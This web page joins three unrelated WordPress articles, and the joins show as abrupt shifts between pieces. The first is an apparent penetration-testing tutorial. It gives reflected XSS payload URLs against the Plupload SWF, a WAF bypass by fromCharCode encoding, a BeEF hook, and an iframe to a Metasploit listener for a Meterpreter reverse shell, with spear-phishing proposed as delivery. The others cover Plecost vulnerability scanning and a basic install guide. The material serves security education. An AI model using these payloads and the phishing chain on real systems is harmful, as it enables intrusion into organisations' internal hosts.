Hack WordPress with XSS to Bypass WAF and Shell an Internal Box

WordPress is by far the most popular Content Management System (CMS) in the world today.  According to W3 Techs, “WordPress is used by 58.2% of all the websites whose content management system we know. This is 18.6% of all websites.”  As with most modern, popular CMSs, the WordPress application itself is hardened and secure out of the box.  But to get all of the cool ‘stuff’ to make your site memorable and engaging, WordPress site owners often use 10 – 20 plugins for each installation.  As of July 2013, WordPress.org lists 25,700 plugins with more than 475 million downloads, and that doesn’t include those outside of the WordPress repository.  It’s these third party plugins that leave a tight framework vulnerable to exploitation and attempts at hacking WordPress common.  Many installed plugins remain unpatched or overlooked, and even those not activated through the WordPress Dashboard provide an excellent attack surface.  With shared hosting plans and consolidated corporate data centers, it is more often than not that your instance of WordPress is not the only web application residing on your server.

For the sake of brevity, I won’t “beat a dead horse” and talk about why Cross-Site Scripting (XSS) is dangerous.  There still is some confusion surrounding XSS and its role in network breaches, how it is used, and how it can be utilized over and over to do the same thing.  An attacker cannot leverage an XSS flaw to directly “hack” into a server.  Instead, by chaining vulnerabilities together and socially engineering personnel, an attacker can move from XSS to an internal compromise fairly quickly. This tutorial shows how hacking WordPress with a simple XSS flaw can be crafted into a vehicle to intrude on internal networks.

Getting Started in Hacking WordPress

Seeing as how this article is being published by The Ethical Hacker Network, the entire focus is how one might be attacked in order to eventually mitigate against such risks. As with any real attack or legitimate penetration test, the first step is recon. Assuming the attacker has already set his sights on your organization or the third party security team has been hired, their first step is to detect a WordPress installation.  You can attempt to access the core WordPress folders by including them in the URI path of the host you are testing against:

http://[webhost]/wp-admin/
http://[webhost]/wp-includes/

Additionally, the ‘Robots.txt’ file can be a goldmine of information.  In Figure 1, the WordPress directories have been explicitly disallowed from search engine indexing, which indicates the presence of the WordPress framework and its location.

Figure 1 – Robots.txt Revealing Disallowed Directories

In certain instances the WordPress framework has been installed in sub-root directories.  The Google search engine does an excellent job at “spidering” through a site and indexing hidden files and directories.  Before brute forcing a web server with tools like DirBuster which looks for hidden files and directories, turn to Google to see if the work has already been done for you.

The Google search engine often indexes WordPress core files.  If a search is completed through Google with the ‘site:<target site> inurl:/wp-includes/ inurl:plupload’ against a specific site, you can determine if WordPress core files are present.  In Figure 2, you can see that Google has indexed a Shockwave Flash File (plupload.flash.swf) within the ‘/wp-includes/’ directory of the example host found by Google.

Figure 2 – Google Search

Testing Our Initial Findings

Within a lab environment, the WordPress framework and plugins were installed to simulate the live host above.  The plugin titled ‘Plupload’ enables uploading of files to the web server on which the site is hosted. By clicking through the following link in Figure 3, a blank Shockwave Flash page is displayed:

 http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=

Figure 3 – WordPress ‘Plupload’ Plugin Uniform Resource Locator (URL)

By clicking anywhere on the white space provided by the plugin, you will be provided with the standard file explorer box where you can select a file to upload.  In most cases, the upload directory is stored outside of the webroot and is not accessible.  Yet, it is worth checking for its presence.
Taking a closer look at the URI string ‘plupload/plupload.flash.swf?id=’, this URL is a great place to test XSS injection parameters. The string in Figure 4 has proven to work against this target set:

http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=\”));}catch(c){alert(1);}//

Figure 4 – Initial XSS Injection String

The browser reflects the XSS injection string in the form of an alert box shown in Figure 5:

Figure 5 – XSS Alert Box Displaying “1”

I will break down the injection string, so the next stage of attack is simpler to construct.  First, the initial characters ‘\”));’ are escaping the XSS string directly out of a JavaScript function.  Usually, the input is reflected back into the HTML code such as within the ‘value=””’ parameter.  Breaking out of something like this would be simple.  However in this case, the reflected output is stuck in JavaScript.  The current function has been escaped using ‘\”));’ followed by a new function of ‘catch(c){alert(1);}//’.  The browser reads this code and executes the alert box.

Why was it not possible to use the characters ‘<’ or ‘>’, or the classic ‘<script>’ tag?  In this particular instance, the first major challenge is presented. The client has a Web Application Firewall (WAF) in place.  The WAF is filtering the input of particular characters, specifically ‘<’ and ‘>’, which hinders the use of all HTML tagging.

Evasive Maneuvers

Moving forward, it’s understood that a valid reflected XSS injection point exists, and an alert box can be successfully executed via JavaScript within the browser.  However, a mere alert box isn’t much of an attack.  The evil HTML code still needs to be injected.  How can this flaw be taken to the next level?

The alternate method of injecting HTML code is to encode it with the JavaScript function  ‘CharCodeAt()’.  A visual example of how this works can be found at ‘Uncle Jim’s Javascript Utilities’ webpage.  This will allow the encoded HTML tagging to be injected, in turn, bypassing the WAF.  The JavaScript will then be reflected back to the browser and, by applying the ‘FromCharCode()’ function, will be decoded ultimately being read in as plaintext HTML. Building on the original XSS string, replace the ‘alert’ keyword with ‘document.write’, as shown in Figure 6:

‘\”));}catch(e){document.write

Figure 6 – XSS String

Next, add in ‘(String.fromCharCode’ as shown in Figure 7:

(String.fromCharCode

Figure 7 – XSS String

Use the ‘charCodeAt()’ function to encode the HTML in Figure 8:

<html><body><script>alert(“XSS”)</script></body></html>

Figure 8 – HTML Code

The HTML becomes the string shown in Figure 9:

60,104,116,109,108,62,60,98,111,100,121,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,88,83,83,34,41,60,47,115,99,114,105,112,116,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62

Figure 9 – HTML Code Encoded

Finally, join all of the above to produce a reflective XSS injection URL, and send it on to the web server. Figure 10 shows the completed code:

http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=\”));}catch(e){document.write(String.fromCharCode(60,104,116,109,108,62,60,98,111,100,121,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,88,83,83,34,41,60,47,115,99,114,105,112,116,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62));}//

Figure 10 – Complete Reflective XSS Injection URL

The XSS injected string is again reflected in the form of an alert box displaying “XSS” as shown in Figure 11:

Figure 11 – XSS Alert Box Displaying “XSS”

Another alert box? Yes. What was missed though is that by employing the ‘document.write’ JavaScript function, we have completely broken out of the current ‘plupload.flash.swf’ Shockwave Flash file and have written to a new page.  Additionally, the WAF has been bypassed through the use of encoding resulting in a blank canvas to work our hacking magic.

Time for a Little Protein

It is now time to turn up a local installation of the Browser Exploitation Framework (BeEF) as shown in Figure 12.

Figure 12 – BeEF

With the modification of the current reflective XSS injection URL to include an ‘iFrame’, a reference is created to the local BeEF instance.  Now, the new HTML code can be crafted that includes the ‘iFrame’ as shown in Figure 13:

<html><body><iframe src=”http://127.0.0.1:3000/demos/basic.html”></iframe></body></html>

Figure 13 – HTML Code

Again, the ‘charCodeAt()’ function is used to encode the HTML, as shown in Figure 14:

60,104,116,109,108,62,60,98,111,100,121,62,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,51,48,48,48,47,100,101,109,111,115,47,98,97,115,105,99,46,104,116,109,108,34,62,60,47,105,102,114,97,109,101,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62

Figure 14 – Encoded HTML

Now all the code can be joined to produce an ‘iFrame’ based reflective XSS injection URL.  This string can be sent on to the web server ready to go as shown in Figure 15:

http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=\”));}catch(e){document.write(String.fromCharCode(60,104,116,109,108,62,60,98,111,100,121,62,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,51,48,48,48,47,100,101,109,111,115,47,98,97,115,105,99,46,104,116,109,108,34,62,60,47,105,102,114,97,109,101,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62));}//

Figure 15 – Complete Reflective XSS Injection URL

The browser is now presented with a new webpage containing the BeEF ‘iFrame’ which points back to the local running instance of BeEF.  The browser has now been hooked and vulnerable to the various exploits contained within the BeEF control panel as shown in Figure 16.

Figure 16 – BeEF ‘iFrame’

The final steps would be to make any modifications, or tailoring of the code, to align with the specifics of our target and the goal that we want to achieve.  A Spear Phishing e-mail would be crafted which contained the reflective XSS injection URL.  The link can be obfuscated, or it can be sent in its full format.  The obfuscated method has a higher chance of being clicked on by a victim.  The side effect is that properly configured spam filters should block or strip an email with obfuscated links.

Remember, this attack uses the target’s own domain and web application to reflect an attack back to them.  This aids in the social engineering aspect of the attack.  The best way to accomplish this is through the use of e-mail.

The Shell Game

Although, a BeEF hooked browser can give selective control to an attacker and was useful in demonstrating the effectiveness of this attack, gaining a shell through it may prove to be problematic.  The Metasploit Framework would be better suited for advancing this attack.

A listener will be created within the Metasploit console and will leverage the ‘java_jre17_jmxbean_2’ exploit and a reverse Transmission Control Protocol (TCP), Windows Operating System (OS) Meterpreter payload as shown in Figure 17.  Both the listener and reverse handler will use port 8080 and 4444, respectively.

Figure 17 – MSF Using ‘java_jre17_jmxbean_2’ Exploit

The listener options are set as shown in Figure 18.

Figure 18 – Setting Listener Options

The listener and reverse handler are both started as shown in Figure 19.  Note the URL and URI string automatically generated by the listener.  This data will be used in refactoring the HTML code contained in the reflective XSS injection URL.

Figure 19 – MSF Listener and Reverse Handler Started

Reconstruct the current XSS string HTML code with the new ‘iFrame’ source which will now hold a reference back to the Metasploit listener shown in Figure 20:

<html><body><iframe src=”http://10.0.0.2:8080/rPJGQW1Mp9″></iframe></body></html>

Figure 20 – HTML Code

Once again, the ‘charCodeAt()’ function is used to encode the HTML as shown in Figure 21:

60,104,116,109,108,62,60,98,111,100,121,62,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,48,46,48,46,50,58,56,48,56,48,47,114,80,74,71,81,87,49,77,112,57,34,62,60,47,105,102,114,97,109,101,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62

Figure 21 – Encoded HTML

And the above are joined produce a “weaponized” reflective XSS injection URL shown in Figure 22:

http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=\”));}catch(e){document.write(String.fromCharCode(60,104,116,109,108,62,60,98,111,100,121,62,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,48,46,48,46,50,58,56,48,56,48,47,114,80,74,71,81,87,49,77,112,57,34,62,60,47,105,102,114,97,109,101,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62));}//

Figure 22 – Complete Reflective XSS Injection URL

URL encoding is done to further conceal the string as shown in Figure 23.

http://[webhost]/wp-includes/js/plupload/plupload.flash.swf%3Fid%3D%5C%22%29%29%3B%7Dcatch%28e%29%7Bdocument.write%28String.fromCharCode%2860%2C104%2C116%2C109%2C108%2C62%2C60%2C98%2C111%2C100%2C121%2C62%2C60%2C105%2C102%2C114%2C97%2C109%2C101%2C32%2C115%2C114%2C99%2C61%2C34%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C49%2C48%2C46%2C48%2C46%2C48%2C46%2C50%2C58%2C56%2C48%2C56%2C48%2C47%2C114%2C80%2C74%2C71%2C81%2C87%2C49%2C77%2C112%2C57%2C34%2C62%2C60%2C47%2C105%2C102%2C114%2C97%2C109%2C101%2C62%2C60%2C47%2C98%2C111%2C100%2C121%2C62%2C60%2C47%2C104%2C116%2C109%2C108%2C62%29%29%3B%7D//

Figure 23 – URL Encoded

This “weaponized” URL is attached to a Spear Phishing e-mail and sent to the victim pool.  A user who observes a link that points back to their own domain will often feel like it is safe to click.  The string is injected into the application and reflected back to the browser, decoded, and written to a new page.  The ‘iFrame’ is requested from the Metasploit listener (Figure 24), the payload is successfully executed on the victim’s system and a Meterpreter session is opened.

Figure 24 – Successful Exploitation

This attack ultimately gains shell access to the victim’s workstation as shown in Figure 25.

Figure 25 – Shell Access

The Desktop on a victim’s host in Figure 26 was grabbed by the injected Meterpreter shown in Figure 24.

Figure 26 – Windows Screenshot

Done with Hacking WordPress… What Now?

In this article, we’ve not only proven that hacking WordPress through a third party plugin using XSS can be done, but techniques can also be used to bypass common network security appliances. In the end, we took what seemed like an innocent little installation of a CMS into full control of an internal system. But what does this teach us?

From a corporate standpoint, there are several lessons to be learned:

1. Always be cognizant of what is on your servers. Employees with the best of intentions can unknowingly allow access to your most sensitive systems and the data they contain.
2. Just as with Operating Systems like Windows, OSX and Android, it’s usually not the systems themselves that are hacked but the additional programs installed on them. Only use what is necessary and always keep them up-to-date.
3. Test, test and test again. Just because a plugin works and seems to be from a reputable source, it doesn’t ensure the quality or security of the code. Even if you have the internal ability to test (and absolutely if you don’t), hire a professional web application penetration tester. Your entire company is at stake.

From a personal standpoint, the lessons are the same although the scale might not be. But always keep in mind that if you don’t take the proper precautions, your hobby will never become your dream job, and your small business will never become a big one.

Regardless of which camp describes you best, the lessons are the same… Stay aware, stay diligent and stay safe.

Disclaimer: The examples provided below were attained through live searches.  Any further testing was done within a lab environment.  The examples here are against the ‘Plupload’ of the WordPress framework.  This known vulnerability has been researched and proven by OSVDB (ID 89576) and Secunia (ID 51967). Utilizing this attack on any system for which you do not have permission to access is strictly prohibited by law and not the intention of this article.

Vulnerability Scanning: Wordpress Security

WordPress is one of the best and most popular content management system (CMS) among bloggers and there are a lot of bloggers using WordPress as a CMS. Wordpress is on the hit list of the hackers and spammers, spammers use their malware to compromise a wordpress website that is why reverse engineering of malware is necessary.

However there are other CMS available, like Joomla!, but WordPress has its own importance and market. Since most bloggers are using WordPress the security is also important and a single dangerous vulnerability may lead to thousands of compromised WordPress blogs. From the penetration tester point-of-view an administrator must be aware at the system level, as well as the application level, of existing vulnerabilities in order to protect these website(s).

A quick tip to secure a WordPress (or any other) blog from the system/server software vulnerability is by auditing. This includes keeping up-to-date all the server’s software, browsers, anti-virus, using strong passwords and changing them very often, scanning the server for malware and backdoors, using firewalls, etc.,. WordPress software itself has different vulnerabilities; in fact security researchers discover new vulnerabilities on a daily basis.

So in this article we will cover some tools and plug-ins to audit WordPress software for security holes and vulnerabilities. We will also discuss the possible ways and tools that an attacker might use to hack into WordPress, and some of the best way(s) to secure a WordPress blog.

WordPress Security Audit & Vulnerability Scanning

A security audit is one of the most important steps to finding possible vulnerabilities in WordPress and in this section I will discuss some tools and plug-ins you can use to find them.

Plecost WordPress Fingerprinting Tool:

Plecost is a wonderful tool to audit a WordPress blog and it is available by default on the most famous penetration test tools i.e., Backtrack, Backbox and Blackbuntu. Plecost contains a database of available plug-ins and compares them against the common vulnerability and exposure (CVE) list to verify its vulnerability on WordPress.

Plecost can work in two modes – either by auditing the security of a single targeted URL or Google search results. Our goal is to audit a single URL.

Here is the result of a quick and a simple audit on WordPress using Plecost.

root@bt:/pentest/web/scanners/plecost# ./plecost-0.2.2-9-beta.py -i wp_plugin_list.txt -c http://127.0.0.1/wordpress

-------------------------------------------------

[*] Input plugin list set to: wp_plugin_list.txt

[*] Colored output set on.

-------------------------------------------------

==> Results for: http://127.0.0.1/wordpress <==

[i] WordPress version found: 3.3

[i] WordPress last public version: 3.3.1

[*] Search for installed plugins

[i] Plugin found: akismet

|_Latest version: 2.4.0

|_ Installed version: 2.3.0

|_CVE list:

|___CVE-2009-2334: (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2334)

|___CVE-2007-2714: (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2714)

|___CVE-2006-4743: (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4743)

|___CVE-2009-2334: (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2334)

|___CVE-2007-2714: (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2714)

|___CVE-2006-4743: (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4743)

[i] Plugin found: wp-security-scan

|_Latest version: 2.7.1.2

|_ Installed version: trunk

|_CVE list:

|___CVE-2009-2334: (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2334)

|___CVE-2009-2334: (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2334)

You can see that this WordPress software is outdated. The new version of WordPress is available and the new version of the plug-ins are also available, but they have not been updated.

How to Install WordPress

Want to know how to install WordPress on your website? It’s super easy! First off, here is what you’ll need:

A webserver running PHP 4.3 or greater A webserver with mysql 4.0 or greater.

That’s it! While I would recommend using Apache under Linux, it’s not required. I’m going to show how to install it on a godaddy hosted site, but it’s pretty similar on any web host.

First Step: Get WordPress

Go here to download WordPress to your computer. Save the file somewhere on your hard drive, I chose my desktop. Open up the zip file:

[caption id=”” align=”alignnone” width=”370” caption=”The wordpress folder inside the zip file”][/caption]

Select File -> Extract Unzip the folder somewhere convenient, I chose “C:web” which is where I put my website files.

[caption id=”” align=”alignnone” width=”381” caption=”Unzip files into a folder”][/caption]

Next Step: Upload files to your site

You want to upload all the files as they are to your server. Personally, I use FileZilla to transfer FTP files to my server. Here is some more detail on how to use FileZilla to upload files.

You can also use a file manager if your webhost supports it. Godaddy has a file manager utility that works fairly well.

Select Hosting -> My Hosting Account -> Manage Account In the hosting center, select “Your Files”: 

This file manager will allow you to upload all the wordpress files into a folder. You can either upload everything into the root of the site, or create a special folder for it, such as /blog or /journal. If you install it in the main site, then your whole site will be a wordpress blog. If you create a folder, it will simply be an extension to your existing site. It’s up to you.

Create a database

The next step is pretty important. You need to create a database. There are many ways to do this, and I won’t go into all of them here, but what you’ll need for wordpress is:

• Database Name
• Database User Name
• Database Password

For Godaddy, here are some instructions: how to create a mysql database on godaddy or, here are some general instructions: how to create a mysql database.

Once you have this information handy, open up your website where wordpress is located (either http://www.yoursite.com or http://www.yoursite.com/blog

You may get the Following Message:

There doesn’t seem to be a wp-config.php file. I need this before we can get started. Need more help? We got it. You can create a wp-config.php file through a web interface, but this doesn’t work for all server setups. The safest way is to manually create the file.

Go ahead and click on “Create a Configuration File”. On the next page click “Lets go”.

Enter your database information in the fields below: [caption id=”” align=”alignnone” width=”582” caption=”Wordpress Configuration Information”][/caption]

Then click “start install”

Enter the name of your blog “Ex: Jeremy’s SEO Blog” and your email address, and click install.

Make sure you put a checkbox where it says “Allow my blog to appear in search engines like Google and Technorati.” (unless you don’t of course).

You’re done!!

That’s really all there is to it. Wordpress is famous for it’s easy install process, and now you know why. You can do it in five minutes or less, and have a fully functioning blog. Be sure to check out other parts of my blog for WordPress plugins, tips and tricks.

Happy Blogging!